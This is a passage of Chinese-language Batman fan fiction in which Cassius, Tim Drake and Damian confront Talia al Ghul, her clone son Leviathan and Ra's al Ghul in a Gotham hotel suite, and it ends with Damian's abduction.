卡修斯一击不中，居然还有心情调侃。 爱丽克丝也在微笑，她已经利用抓住卡修斯手臂的那只手，巧妙地让两人位置互换，现在，她正压在卡修斯身上，将他困在电梯玻璃和自己的身体之间。 她另一只手也抬了起来，卡修斯注意到，她的手指之间也夹着细细的银针。 就在她的银针要扎入卡修斯颈间皮肤的时候，他的右手指微动。 右手臂微不可查地一震。 “咔嗒！” 一声轻微的机括弹响，一道寒光从卡修斯小臂的护腕下骤然弹出。他的剑刃还涂着当初在发源地撸来的曼陀沙华凝练成的毒剂。 爱丽克丝在听到声音的时候已经躲开了，但脖颈还是被划出一道血痕。 “嘶——”爱丽克丝抽了口气，手一抖，刺出的麻醉针再次落空。 她伸出手掌摸了摸脖子上渗出的血迹，冷笑着说：“刚才是我小瞧了你，接下来，你不会再有机会伤到我了。” “我也不用伤到你啊。”卡修斯晃了晃袖剑，自己的右手：“自制的麻醉，原料是刺客联盟药圃里名贵的曼陀沙华。之前对付刺客的时候都没用到，没想到你变成了第一个享受的人。” 随着他话音的落下，爱丽克丝感觉自己从脖子开始，半个身体在慢慢麻痹。 她踉跄着靠在电梯壁上，身体缓缓往下滑落，整个身体好像都提不上劲儿，很快陷入麻痹的状态。 她努力瞪大眼睛看着卡修斯。不知道他经历了什麽，为什麽他的预判会这麽准确和快速？ 他不仅看穿了她的身份，更预判了她的反击。这种战斗意识，绝对是通过无数次命悬一线的身份危机换来的。 卡修斯看着靠着电梯壁慢慢滑坐下来的爱丽克丝，缓缓收回袖剑。 “你……”爱丽克丝的意识在卡修斯的特制麻醉作用下迅速模糊，她挣扎着，用尽最后的力气挤出断断续续的话语，“盒子……真的在……保险箱……密，密码只有我知道。” 看着卡修斯的皱眉的脸，她努力提了提嘴角，像是为自己扳回一局感到得意。 卡修斯蹲下身，目光平静地注视着爱丽克丝逐渐失去焦距的眼睛。她说的最后一句话，相当于承认了自己的身份。而就在这一刻，卡修斯一直屏息凝神等待的“噪音”终于清晰地涌入他的脑海。 “真正的盒子早被塔利亚夫人拿走了，她在隔壁套房等待我的凯旋，只要你去拿盒子，必然有来无回，我还没有失败，夫人一定会奖赏……” 爱丽克丝彻底昏迷过去，身体软倒在地。 卡修斯缓缓站起身，慢慢将袖剑重新推回小臂上的袖剑护腕设备。 电梯发出“叮”一声轻响，平稳地停在了顶层。 电梯门无声地向两侧滑开。 厚实的地毯从电梯外开始延伸，一直伸入光线略显幽暗的走廊。 卡修斯踏上地毯，又将昏迷的爱丽克丝拖出来靠在一边，电梯门在他身后无声地关上了。 走廊寂静无声，柔软厚实的地毯吸收了所有的脚步声。空气中弥漫着高级酒店特有的香氛气息，清新淡雅，不过还是让他在这种工业香氛中闻到了一丝独特的熏香味道。 卡修斯缓缓呼出一口气。 塔利亚也在哥谭，她是准备赶在拉尔斯之前杀掉自己，破坏恶魔之首俘虏自己的计划，还是已经和他联手，抓他只是为了作为筹码来与拉尔斯谈判？卡修斯觉得她在拉尔斯“死亡”的这段时间里，没做什麽让恶魔之首特别满意或者为之骄傲的事，现在想要通过抓捕自己来讨好自己的恶魔父亲也是有可能的。 在刺客联盟给他带来最惨痛回忆的两个人目前都在哥谭，他面前这条灯光昏暗的走廊就像是通往鬼屋前，阴森的走道。 卡修斯怕鬼。 他想要转身按下电梯，离开这个地方。因为他不确定自己孤身一人到底能不能从塔利亚和一群刺客的蹲守中全身而退。 但身后的电梯已经下去了，冥冥之中像是在告诉他，只能前行。 他又开始感觉到尾椎处的纹身在发烫了，但他知道，这只是自己的错觉。 他使劲咬了咬自己的舌尖，疼痛驱散了瞬间的软弱。 他无法逃，也不能逃。拉尔斯对自己势在必得，塔利亚又对自己虎视眈眈。那个和自己纹身有一样图案的盒子，里面的秘密和他有关，可能是拉尔斯对他如此“执着”的真相。它现在就在塔利亚手里，在这条走廊尽头的某个房间里。 退缩的念头被破釜沉舟的决心压了下去。恐惧依旧存在，但它被转化成了更尖锐的武器——对真相的渴求，对自由的执念，以及对这些随意玩弄别人生命的人的厌恶和憎恨。 他转身走到电梯间旁边的走廊窗前，推开窗，深深吸了口气。 哥谭那股潮湿又带着硝烟味道的空气味道瞬间盖过了身后那若有似无的香薰味，这味道也给了他放手一搏的勇气。 想想哥谭最底层的罪犯们，卡修斯。 在黑暗骑士日耕不缀的夜巡强度前，他们依然坚持犯罪。这种不屈不挠的精神难道不值得学习吗？ 去肯定是要去的，只不过不能硬闯。 卡修斯的视线落在了昏迷在地的爱丽克丝身上，一个大胆的计划在他脑中成型。风险极高，但这也是他唯一的机会，可能顺利去到塔利亚面前，接触到那个盒子的机会。 他蹲下身，脱下爱丽克丝的风衣，又将自己身上那件沾了灰尘的西装外套快速套在她身上，又将她的卷发从耳后拨到前面，遮住她的大半张脸。 做完这一切，他身体微微后仰端详了一下，这个伪装稍微有点简陋。不过在酒店走廊这种光线受限的条件下，隐在暗处的刺客们就算有所怀疑，也不敢轻易动手。这点犹疑就能帮助他没有冲突地走到塔利亚的套房前。 就在他抓住爱丽克丝的双臂，将她半拖半抱地架起来时，身后有人拍了他一下。 卡修斯的汗毛都竖起来了，他弹出袖剑，看都没看地抬手就刺，被一只手握住了手腕。 “是我。” “提……红罗宾？”卡修斯惊讶极了，“你怎麽在这儿？” “拉尔斯就在隔壁大楼里，我本来是要去找他的。”红罗宾松开他的手，又看向他肩上挂着的人，“这是……爱丽克丝？她怎麽在这儿？” 不过他问完以后，立刻又自己回答了这个问题：“她也是刺客联盟的人？” 卡修斯点了点头。 有提姆在，不知道为什麽，卡修斯觉得自己的胜算好像多了点。他直接说：“她是塔利亚的人，利用宝藏里一个和我身上一模一样标记的盒子故意将我诱到这儿来的。塔利亚就在这儿。” 红罗宾瞬间明白了他的意思。他打量了对方几眼，然后说：“所以你打算这样去见塔利亚？” 卡修斯点了点头。 “你脑子坏了吗？这种拙劣的伪装根本无法骗过母亲！” 另一个声音加入进来。卡修斯循声望去，就看到罗宾也从自己刚才打开的窗外爬了进来。 很好，帮手又多一个，只是这个帮手不知道是塔利亚的还是自己的。 罗宾跳了进来，嫌弃的看了眼卡修斯和被他架着的，昏迷的爱丽克丝，也挑起眉毛：“竟然是她？” 卡修斯和红罗宾同时看向他。 达米安这才有点不太情愿的说：“之前我就怀疑她是母亲的人。” “所以你才那麽痛快的答应了她提出分三成的宝藏？”红罗宾立刻说。 “现在是翻旧账的时候吗？”罗宾不耐烦地抱怨了一句，接着看向卡修斯，“你这样根本骗不过母亲。我劝你还是放弃，尽快离开这里。” 母亲和外祖父都在附近，这让达米安危机感暴涨，所有的神经都在告诉他，或许他们一起离开才是最好的选择。 “不，我必须去解决这件事。”卡修斯坚定道。 “TT。”达米安看向红罗宾。“你跟他说！” 但红罗宾并没有像他预计的那样，加入劝说的行列，转而说：“你这样不行，我跟你一块儿进去。” “啥？” 卡修斯和罗宾异口同声地说。 红罗宾理所当然地说：“我可以假扮成爱丽克丝。” 哦，对。面前这个是女装大佬嘛。卡洛琳·希尔。 达米安还没有见过红罗宾的伪装，所以正在用“你们两个是不是都疯了”的眼神看着他们。 但红罗宾说干就干。 他说了声等我一下，就从窗户那儿翻了出去，没五分钟，一个和爱丽克丝发色相同的卷发“女人”就又翻了进来。 达米安：…… “时间比较紧张，只能弄成这样，不过比你好多了。” 说着，提姆就动手将原本穿在卡修斯身上的，爱丽克丝的风衣扒了下来套在了自己身上。 肩膀的位置有些紧，但不扣扣子的话，还是能凑合一下的。 达米安无语极了，怒瞪着提姆：“你就惯着他吧！到时候怎麽死的都不知道！” 提姆示意卡修斯自己搭在他的肩上，做出昏迷不醒的样子。 “难道你不是这样吗？明知道拉尔斯叫你去是陷阱，还不管不顾的往里钻。你说你是为了救卡修斯，现在也见到他了，你可以不用去踩那个陷阱了，赶紧回到蝙蝠侠身边去吧。”提姆说。 达米安又不说话了。 卡修斯听了提姆的话，立即说：“这儿有提姆就行了，你还是先离开吧。” 总觉得拉尔斯把达米安骗过来没憋着什麽好屁。而且，再怎麽说，他们要对付的人都是达米安前10年人生里最重要的人。他不想让达米安做这种艰难的站队。 听到卡修斯心声的达米安深深看了他一眼，然后说：“我不进去，在外面给你们做警戒。” 看他的表情，提姆知道这就是他最大的让步，也不再劝，朝他点了点头，然后架着“失去意识”的卡修斯，朝着客房长廊走去。 “爱丽克丝”的步伐沉重而蹒跚，低着头，很符合一个女性架着一个男性的那种勉强感。不得不说，在伪装方面，提姆确实是一流的。 越往深处走，那股熏香的味道就越清晰，卡修斯已经能感受到暗处盯着他们的眼睛了。 那种冰冷的，审视的目光如同实质的针，刺在他的背上，让卡修斯不禁有些庆幸，还好身边有提姆，要不然自己绝对会露馅，忍不住直接开打。 他们走到走廊最尽头的房间门口，提姆用手掌重重拍了门两下：“夫人……” 他模仿着爱丽克丝的声音，但故意压得极低，还带着即将力竭的喘息声：“我得手了，只不过他发现了我的身份，我们在电梯里动手了，现在他中了麻醉。” 门“咔嗒”一声，被打开了，但也只是开了一道缝。开门的人也不见踪影。 提姆用脚尖将虚掩的房门顶开。 门内的灯光非常充足。但奢华宽敞的客厅里空无一人。 提姆眼角的余光迅速捕捉到至少四个不同方位隐藏着的刺客——窗帘厚重的阴影后，巨大的欧式沙发侧面，通往卧室的拱门旁，甚至天花板的装饰性横梁上方——都有极其细微的，几乎与环境融为一体的轮廓。 至少六名精锐刺客，他们潜伏在暗影中，只等猎物完全踏入陷阱的中央。 卡修斯不由自主的有些紧绷，提姆抓着他臂膀的手指微微动了动，像是在安抚他，让他别紧张。 提姆继续架着卡修斯往里走，同时用爱丽克丝的声音再次呼唤道：“夫人？” 他的目标是客厅中央那张巨大的大理石茶几，那里是个很好地隐蔽和借力地点。 就在他距离茶几还有两步之遥的时候，一声带着浓厚嘲讽意味的哼声，突兀地从他们前方那扇紧闭的，通往隔壁房间的门内传来。 那扇门无声地打开了，慢慢露出塔利亚·奥·古的全部轮廓。 她穿着一身墨绿色的真丝旗袍，勾勒出她完美的曲线，小麦色肌肤在灯光下泛着充满力量的色泽。她波浪般的黑发慵懒地披在肩头，几缕发丝垂落在前，平添几分妩媚。 她的面容美艳绝伦，但那和达米安如出一辙的绿色眼眸却闪着寒潭般的光芒。她冷酷的神色毫不掩饰自认为掌控一切的傲慢。 塔利亚红唇勾起，带着一丝猫捉老鼠般的残忍兴味。 她先扫过被架着的，“昏迷”的卡修斯，然后，那目光带着洞悉一切的讥诮，牢牢锁定在“爱丽克丝”垂着的头上。 “爱丽克丝。”塔利亚的声音低沉而富有磁性，带着一种令人毛骨悚然的亲昵，“你的伪装课看来需要回炉重造了。” 她的目光似乎化为实质的利刃，穿透了提姆模仿爱丽克丝的虚弱姿态：“你以为，用这种拙劣的把戏，就能骗过我？” 塔利亚优雅地向前迈了一步，高跟鞋的鞋跟陷在地毯之中，没发出任何声音。 她微微歪头，声调里略带一些满意：“欢迎来到我的猎场，提摩西，卡修斯。你们在发源地的‘丰功伟绩’真是令人惊讶。本来替父亲抓到卡修斯，应该能平息他对我的怒意，现在再加上一个你，想必父亲不但不再生我的气，还会对我非常满意。” 提姆抬起了头，露出那张没什麽伪装的脸，卡修斯也直起身体，直直看向塔利亚。 “既然你知道发源地的事，想必你也知道，我是你父亲的哈莱姆，四舍五入一下，也算你的小爸，对爸爸这麽不礼貌，让我很怀疑你的教养。拉尔斯到底有没有好好教你？” 卡修斯笑眯眯地看着她说。 “死到临头还在嘴硬。”塔利亚的笑容消失了，她冷冷看着卡修斯，“给我杀了提摩西，至于卡修斯，父亲的要求是活捉，所以只要给他留一口气就行了。” 房间里十几道黑影闪了出来，直扑向两人。 第104章 他的城市，企业，亲人和朋友，都会安然无恙。 刺客们手中的冷兵器在灯光下闪烁着淬过毒的幽蓝寒芒，直取提姆和卡修斯的要害部位。 战斗瞬间爆发。提姆毫不犹豫地将身上紧裹着的女士风衣甩向最近的一名刺客，屏蔽其视线的瞬间，提姆已经展开长棍，准确地割开两柄刺向卡修斯的短刀。 卡修斯几乎在同一时间矮身翻滚，同样淬过毒的袖剑在空中划出一道冷冽的弧线，逼退从沙发侧面袭来的敌人。 空气被撕裂，毒镖顺着提姆的耳边飞过，钉入酒店墙壁上的挂画。他的长棍舞动如风，在狭窄的空间内构筑起一道坚韧的防线，竭力将卡修斯护在身后。 卡修斯则如同一只灵活的猎豹，袖剑是他致命的爪牙，配合着提姆的长棍，不断的在刺客们的围攻缝隙中穿梭。每一次出手都带着毫不留情的杀意，逼得刺客们不得不暂避锋芒。 一名刺客的弯刀朝着卡修斯的手臂劈过来，提姆的棍柄瞬间抵上对方的手腕，刺客的力道偏离了原定的轨道，劈碎了茶几上的水晶烟灰缸，碎片顿时四处溅开。另一名刺客趁着提姆还来不及收力，举着武士刀从他的侧翼砍过来，被卡修斯一脚踹中膝盖，闷哼着后退。 然而，在这样一个狭小有限的空间里，以两个人的力量去对付十几个训练有素的刺客还是有些勉强了。塔利亚带来的无疑是联盟中的精锐，他们完全无惧生死，攻势一波接着一波，不断地压缩着提姆和卡修斯的活动空间。 两个人虽然都算善战，但以一敌多，防御线也不可避免地开始收缩。卡修斯的手臂被划开一道血口，火辣辣的疼痛感让他的动作微微一滞。 “小心！”提姆大喊。 卡修斯看了一眼自己的伤口。伤自己的刀刃上抹了毒，但现在就不知道是什麽毒。他暂时没感觉到任何不适。 “父亲说你免疫大多数毒素，看来这是真的。”塔利亚站在一旁，一边观战一边幽幽开口道。 卡修斯倒是不觉得自己免疫毒素，他感觉自己只是免疫一些特别不科学的毒素，像是这种麻痹神经的毒素，对自己好像还是有点用的。 因为在塔利亚说话间，他已经感觉到自己的动作有些许的凝滞和迟缓，然后刺客们立即抓住机会，集中向他袭来。转眼间，他的手臂和后背上又多了几道伤口。 “坚持住！”提姆低吼。他长棍横扫，帮卡修斯逼退三名刺客，但自己的后背却完全暴露了出来。 就在这时，塔利亚动了。 她的动作优雅又致命，墨绿色的旗袍下摆划出一道淩厉的弧线。她手持一柄短匕，目标直指提姆的后心。 她的速度太快了，快到卡修斯眼睁睁的看着她的动作却来不及给出任何警示，而提姆感受到了身后袭来的风，可是根本没办法躲避或者回身格挡。 卡修斯目眦欲裂地想要保护提姆，却因为动作不够快，同时又被两名刺客缠住，只能眼睁睁看着塔利亚的致命一击落下。 “提姆！” 就在那柄短匕要送进提姆后心的瞬间，一枚蝙蝠镖射出，“叮”一声，刚好打中匕首，让利刃偏离了原本该刺入的位置。提姆趁这个机会旋身躲避，他的后背的制服被划开一道口子，但万幸的是，这只是皮外伤。 一道小小的，却异常迅捷的身影从门口的阴影中射出。是达米安！ 他根本没有老实地“在外面警戒”。当他悄无声息的处理完藏在走廊上的全部刺客后，就义无反顾的冲进来，投入这个对手是自己母亲的战场。 达米安手中的武士刀快如闪电，毫不留情的击退了正在逼杀卡修斯的两名刺客。 三人的视线一触即离，然后彼此靠着后背，呈三角站位地保护好彼此的后背，面向房间里的刺客们。 塔利亚看着达米安，绿色的眼眸中燃烧着狂怒和冰冷的失望。 “达米安·奥·古！”塔利亚的声音冷的像是冰锥，“你竟敢——忤逆我？！我在救你的命，而你却为了这些外人，向你的母亲举起武器？” 她用匕首指着卡修斯，语气充满了愤怒：“你根本不知道你在做什麽！也不知道他是什麽东西！他们激怒了你的祖父，只有死路一条。布鲁斯·韦恩死了，无法再保护你。聪明的话，现在到我身边来。” 达米安握紧武士刀，他的身体站的笔直，面对塔利亚的怒火，他脸上的肌肉绷紧，眼神却异常坚定：“德雷克已经找到父亲还活着的证据，我相信他。母亲，他们两个是我的兄弟，我不能让你杀死他们。” “兄弟？”塔利亚清晰的冷笑一声，“布鲁斯·韦恩到底给你灌输了什麽愚蠢的念头？竟然让你变得比三岁时还要天真和软弱！我以为把你交给他，你会变得更强大，现在我终于明白了，我错了！” 她的声音陡然拔高，变得更加尖刻：“他把你变成了一个感情用事的懦夫！一个连自己是谁、该站在哪边都分不清的废物！” 达米安的身体微微颤抖，不是因为恐惧，而是因为母亲话语中那份彻底的否定。他迎着塔利亚失望透顶的目光，一字一句地说： “母亲，我很感激您给了我生命，更感激您将我带到哥谭，让我与父亲相认。”他顿了一下，才继续道，“在刺客联盟，每一个人都只是为了活着，但是在父亲这里，我开始懂得，活着究竟是为了什麽。不是为了成为谁的继承人，也不是为了杀戮和征服……而是守护。守护我所拥有的一切，包括我的选择，和我选择并肩的人！” “守护？”塔利亚像是听到了最愚蠢的笑话，她缓缓摇头，眼中的最后一丝温情也彻底熄灭，只剩下冰冷的、看一件失败品的漠然。 “很好，达米安·韦恩。看来你已经完全被布鲁斯和他那可笑的正义感洗脑。既然你执意选择站在我的对面……” 她的声音陡然变得无比冷酷：“我不能容忍，让父亲在你的身体里复活！与其让你成为父亲的容器，让这具流着我血液的身体被玷污，不如……由我来亲手终结这个错误！” 卡修斯陡然睁大眼睛。 刚才因为情绪激动，塔利亚专注地斥责达米安，她心中所想和她说出来的话几乎一致，但是现在，卡修斯听到，塔利亚还带了另外一个人！ 他还来不及警示，塔利亚就对着空气下达了命令： “利维坦，出来吧，杀死这个失败品，你就是我唯一的儿子！” 套房中的另一扇紧闭的房门猛地被撞开，一个高大强壮到超出常理的身形如同失控的战车般冲了出来。他有着和达米安几乎一模一样的五官轮廓，但体型却比达米安高大健壮许多，他肌肉虬结，脸却是一副儿童的样子，奇怪的头身比让他看上去根本不是一个正常人。他的眼神空洞疯狂，在三人身上扫视一遍，然后就死死锁定了达米安。 “达米安！”这个被称为“利维坦”的怪物发出沉闷如野兽般的咆哮，声音因为愤怒而嘶哑，“你得到了母亲全部的爱，却背叛了她，背叛了你的血脉！你根本不配活着，我才是母亲真正的孩子！” 随着话音落下，利维坦庞大的身躯已经冲向达米安。 他的攻击没有技巧，也没有章法，只有野蛮到极致的力量碾压。他像是一头被激怒的棕熊，一拳砸下。三人立即散开闪避，刚才三个人站着的旁边的大理石茶几，继破碎的水晶烟灰缸之后，也轰然碎成粉末。 一拳落空后，利维坦再次准确的锁定达米安的位置，朝他冲过来。达米安凭借身形的优势立即闪避，手中的武士刀同时划向对方手腕处的筋腱。 “铛！”一声，武士刀砍在利维坦的手臂上，居然只留下一道浅伤。那一瞬间，竟让达米安以为他是不是吃过什麽氪星人。 预想的攻击效果没达到，利维坦的拳头反而再次击向达米安的面门。达米安勉力避开，但身体却短暂地失去平衡。 利维坦见到自己的攻击再次落空，暴怒起来，根本不给达米安调整的机会，和他的脑袋比例完全不符的大手再次抓向他的脖子，速度快的跟他庞大臃肿的身体形态根本不匹配。 提姆和卡修斯想去帮他，但两个人也被刺客缠住，根本没办法脱身。 塔利亚带来的刺客是她最忠心的死士，他们根本不在乎自己的生死，打定主意用命拖住两人。 “塔利亚！他是你的亲生儿子！”提姆被三名刺客的合击逼得无法脱身，急怒地对退在一旁悠闲观战的塔利亚吼道。 塔利亚哼笑一声：“我还会有很多孩子，他现在只不过是个让我失望的废物罢了。” 达米安听到了塔利亚的话，他的眼中闪过一丝受伤，但生死之间没空伤感，他展现出了顶尖刺客的惊人反应，身体在不可能的角度强行扭转，以一个极其狼狈的姿势从利维坦的身体下翻滚而出。可他刚滚到墙边，利维坦已经一脚踢了过来。 随着一声巨响，墙壁被踹出一个大洞。达米安虽然再次惊险避开，但飞溅的碎石砸在他身上，头上，让他忍不住气血翻涌。 “懦夫！只会躲吗？”利维坦咆哮着，拳头如同重炮般连环落下。达米安将身法展现到极致，武士刀更是化作道道寒光试图查找对方的破绽。但利维坦的皮肤坚韧的不可思议，每次刀刃划过都只能留下微不足道的血痕，这反而刺激得他更加狂暴。 利维坦的拳头终于打中达米安的肩膀一次。 仅仅是擦中，达米安感觉就像是被高速行驶的汽车撞到，整个人离地飞起，狠狠撞在身后的酒柜上。 “呃……” 随着昂贵酒瓶的碎裂声，达米安忍耐地闷哼。酒液混合着玻璃碎片淋了达米安一身。剧痛让他几乎无法呼吸，武士刀也因为肩膀被击中而脱手飞出。 利维坦丝毫不给他喘息的机会，像抓小鸡一样抓住他，再次将他狠狠掼向另一边的墙壁。 随着墙体的震动，达米安终于忍不住吐出一口血来。这连续的两次撞击，至少让他断了四五根骨头。人也因为疼痛而眼前一阵阵地发黑。 利维坦眼中闪着残忍的快意，他大步上前，居高临下的看着蜷身在地正在调整呼吸缓解疼痛的达米安，对准他的胸膛就要狠狠踩下。 这一脚下去，足以将达米安的胸骨彻底踩碎。 “不！”卡修斯发出一声凄厉的嘶吼。他的确记得达米安被用他的基因克隆出的怪物战士杀死过，但不应该是现在！ 他不顾一切的想要冲过去，却被两名刺客死死按倒在地。提姆狂怒地击飞一名刺客，但又有两名刺客的刀锋逼近他的要害。 眼看利维坦的这一脚就要狠狠踏下，“哗啦啦——！”一阵连续的碎裂声响起。 套房巨大的落地窗被撞碎，随着烟雾弹的落地，数十道黑色身形如鬼魅般从窗外跃入，他们的动作迅捷如风，直扑利维坦。 为首的人影手中甩出倒鈎的锁链，准确地缠绕在利维坦即将踩下的腿和挥出的手臂上，同时，数把淬毒的飞刀和弩箭如同毒蜂般射向利维坦的眼睛、咽喉等要害。 利维坦发出一声吃痛的怒吼，不得不收回踩向达米安的脚，挥臂格挡袭来的暗器。锁链上的倒鈎深深嵌入他的皮肉，虽然未能完全阻止他，却极大地迟滞了他的动作。 就在利维坦分神应付锁链和暗器的瞬间，又有两个身影如同影子般贴近，一把抄起地上的达米安，迅速向后撤退，动作利落，配合无间。 塔利亚脸色发沉，厉声喝道：“什麽人？！” 烟尘稍稍散去，露出闯入者的真容。同样是刺客联盟精锐的装束，但他们的眼神更加冰冷，动作也更有秩序感。他们的出现瞬间压制了房内原本混乱的战局，将利维坦隐隐包围。 紧接着，套房的大门再次被缓缓推开。 一个威严的身影在数名刺客的拱卫下缓步迈入房间。他身上披着绿色大氅，面容冷峻，眼神逐一扫过在场的人。拱卫在他身边的六个人，正是拉尔斯的死亡七人组。其中一人还坐着轮椅，正是之前被普鲁射穿膝盖，又被提姆刑讯过的那名刺客。此刻他看向提姆的眼神充满了怨毒。 房内的空气瞬间凝滞，塔利亚收敛了怒容，神情变得恭谨。她微微垂首：“父亲。” 拉尔斯将视线落在被刺客们护在后方，正在接受简单救治的达米安身上，眉头几不可察地蹙了一下。他的目光转向塔利亚，语气听不出喜怒： “我的女儿，你做得很好。” 他的声音低沉而充满压迫感，在寂静的房间内回荡：“将我需要的人，都带到了我的眼前。” 他的目光扫过被刺客们制住的提姆和卡修斯，最后又落回塔利亚身上。不过他的话锋陡然一转，带上了一丝冰冷的责备：“但是，这样对待我的孙儿，未免也过于粗暴了。他还留着奥·古的血。” 塔利亚神情复杂地想要解释：“父亲，我只是想要略施惩戒……” “你想什麽不必解释。”拉尔斯抬手打断她，目光转向因他出现而显得更加狂躁不安的利维坦。 “至于这个……粗劣的复制品。”拉尔斯的声音平淡无波，却带着不容置疑的判决，“它的存在已经失去了意义。利维坦，自裁吧，献上你最后的忠诚。” 他的命令下达得轻描淡写，仿佛只是让人倒掉一杯冷掉的茶。 利维坦庞大的身躯猛然颤抖一下，脸上的血色瞬间褪去，取而代之的是难以置信的恐惧和绝望。他看看拉尔斯，又看看塔利亚，喉咙里发出“嗬嗬”的呜咽声，如野兽般哀鸣：“母……母亲……” 塔利亚嘴唇紧抿，但在拉尔斯冰冷的注视下，还是缓缓别过了脸。 利维坦眼中的最后一丝光亮熄灭了，只剩下彻底的灰暗和死寂。 他庞大的身躯剧烈地颤抖着，最终，他捡起地上的一柄匕首。 绝望的泪水从他扭曲的脸上滑落，他举起那只无数次想要锤碎达米安的手，猛地在脖子上狠狠划下。 鲜血顿时从他的颈动脉处喷涌而出。他那庞大的身躯如同抽掉了所有的骨头，轰然倒地，双目圆睁，死不瞑目。 拉尔斯的目光没有在利维坦的尸体上停留一秒，仿佛那只是一堆需要清理的垃圾。他转向被刺客们反剪着双臂压着的提姆和卡修斯，脸上终于露出了今晚第一个愉悦，却令人浑身发寒的笑容。 “提摩西。”拉尔斯的声音如同毒蛇嘶鸣，“现在，我们可以好好算账了。” 卡修斯迫切的想要听到拉尔斯内心的计划，但他发现自己居然什麽都听不到。 “你炸毁了我的发源地，毁掉了我数百年的心血。这份罪责，需要血偿。我要你亲眼看着布鲁斯·韦恩留在这世上的所有痕迹——他的城市，他的公司，他的家人和朋友，是如何被我一个个摧毁，占有，碾入尘埃！” “我会让你看着他们一个接一个地死去，听着他们临死前的哀嚎和质问！我要让哥谭的每一寸土地都浸透鲜血，然后……”拉尔斯向前一步，几乎贴着提姆的脸，那双冷酷的绿眼睛死死盯着提姆，不想错过他的任何表情，“我会告诉所有幸存下来的人，这一切悲剧的根源，都是因为你们。因为你们那愚蠢的背叛和狂妄的挑衅。他们因你而死，他们的痛苦和毁灭全都拜你所赐！活下来的人，会因为失去至亲至爱而怨恨你。你会在无尽的痛苦和悔恨中被我杀死，这就是我对你的惩罚！” 拉尔斯的话语如同毒液，试图侵蚀提姆的心神。然而，出乎拉尔斯的意料，提姆的神色奇异的平静。 “惩罚我？看着他们死？”提姆抬起头，直视着拉尔斯那双掌控一切的眼睛，声音清晰而稳定，“拉尔斯，你似乎搞错了一件事。” 拉尔斯面无表情的看着他。 提姆的语速平缓，却充满力量：“你以为我会在你选定的十几个目标之间疲于奔命，顾此失彼，眼看悲剧发生吗？” 他顿了顿，眼中闪烁着狡黠的光芒：“我确实救不了所有人，不过我从未想过靠自己一人去救他们。我有同伴。” 仿佛是为了印证提姆的话语，就在他话音落下的瞬间，拉尔斯身后，负责通信联系的两名刺客身上佩戴的加密通信器爆发出刺耳的电流噪音。紧接着，一个接一个截然不同，充满活力的声音，带着胜利的宣告，强行切入刺客联盟的通信频道，在死寂的套房内炸响。 “喂喂喂？听得到吗？这里是闪电小子，猫女安全！这些刺客们正在被她的猫当成猫抓板哈哈哈，猫猫这麽可爱，能有什麽错！” 接着是沉稳中带着点金属质感的年轻男声：“啊，之前不是就说过了？阿尔弗雷德，安全。管家的小甜饼和红茶还是那麽完美！那些试图通过通风管入侵的家夥们现在都堆在后院呢，需要我叫垃圾车吗？” “这里是武士刀，戈登局长，安全。” “女猎手在线，卢修斯，安全。” “芭芭拉安全，话说她好像不需要我保护耶！自己就干翻了两个刺客！”这是神奇女孩的声音。 …… 每一个名字的报出，都如同一记记响亮的耳光，狠狠扇在拉尔斯那张掌控一切的脸上。他精心部署的刺杀行动，居然一个都没有成功。他的脸色瞬间变得铁青。 提姆脸上的嘲讽之意更浓：“听到了吗？拉尔斯，你的计划，从你踏入哥谭的那一刻起，就注定了失败。” 拉尔斯的脸色由铁青转为一种极致的阴沉，仿佛暴风雨前的死寂。 “啪。啪。啪。” 拉尔斯轻轻鼓了三下掌。 “不愧是侦探选定的继承人。我承认，小看了你们这些……蝼蚁的破坏力。你的确暂时保护了那些无足轻重的棋子，但你不知道我真正的目的是什麽。”他的笑容陡然变得狰狞而充满恶意，“你以为挫败几处小小的袭击就能动摇我的计划，阻止我达成目的？……” 他还没说完，提姆就打断了他：“我当然知道你早早来到哥谭不只是为了这些，你以为我利用最高权限进入发源地的中心系统只是为了炸毁你的几个基地吗？我知道你在哥谭想干什麽。” 说着，他又笑了，脸上带着年轻人特有的得意神采：“你以为我为什麽把回到哥谭的降落点高调地放在韦恩大厦的楼顶？” 拉尔斯脸上原本势在必得的阴沉笑容再次凝固住。 “布鲁斯早就为自己不在的这一天做了计划，一旦他发生意外，他会将公司股份和CEO职位全部转交给我。卢修斯·福克斯则能对这一切全权处理。这就是他让塔姆找我的原因。现在，他应该已经处理完了这些法律文档。我已经是韦恩企业的实际控股股东了。”提姆呼出一口气，“而被你控制的那个‘布鲁斯’——托马斯·艾略特，现在恐怕已经没有权利签署任何文档了。”* 最后，提姆总结道：“现在，你即使杀了我，也得不到布鲁斯的一分钱。拉尔斯，你彻底失败了。他的哥谭，他的企业，他的亲人和朋友，都完好无损。” 第105章 异世之魂和现世之躯 提姆掷地有声的宣告在套房内回荡，每一个字好像都在嘲笑拉尔斯之前的胸有成竹。 拉尔斯的面色阴沉的如同结冰的湖面，可内心的愤怒却像是即将要喷发的沸腾岩浆。他无法容忍自己已经视作囊中之物的韦恩帝国，竟然被眼前这个年轻人轻描淡写的瓦解了。 在这阵短暂的死寂中，连塔利亚都用异样的眼神看着提姆。这次，她的眼神没有任何恶意，是对一个优秀对手纯粹的欣赏。 卡修斯屏住呼吸，不知道为什麽，他现在听不到拉尔斯的心声，但他知道原本的剧情。在原本的剧情中，刚才那段话是提姆在和拉尔斯一对一的决斗中说出来的，讲完以后，怒极的拉尔斯一脚将提姆踹出高楼。但力竭的提姆最终被赶来的蝙蝠侠接住，避免了坠亡的命运。可是现在，提姆和拉尔斯并没有决斗，所以卡修斯也不确定接下来拉尔斯会做些什麽。如果他能向原本的剧情那样，知道自己已经彻底失败，干脆地放弃，直接从哥谭遁走，那是最好的。 “呵呵……”拉尔斯忽然发出一连串低沉的笑声。那笑声由低到高，越来越响亮，充满了令人毛骨悚然的癫狂。 他一边笑，一边缓缓摇头，那双奥·古家特有的绿眼睛死死盯着提姆。 “很好。”拉尔斯止住笑，缓缓开口，“你，还有布鲁斯·韦恩，都很好。配得上作为我的对手。但是，你真的以为自己赢了吗？” 提姆警惕的看着他，随时准备着迎接刺客们的扑杀。 拉尔斯很想继续维持恶魔之首的威严，但他狰狞的表情暴露了他内心的狂怒：“我承认，这局你赢了，侦探。但我也还没输。” “我本想用更优雅的方式得到我想要的一切，但现在，不得不将我的计划提前。” 说着，他做了个手势。 挟持着达米安的刺客们毫不犹豫的从破损的落地窗跳了出去，接着，拉尔斯扔出一枚烟雾弹，也瞬间隐在雾中。 塔利亚率先变了脸色：“达米安！” 提姆毫不犹豫地冲着落地窗的方向追过去跳下。 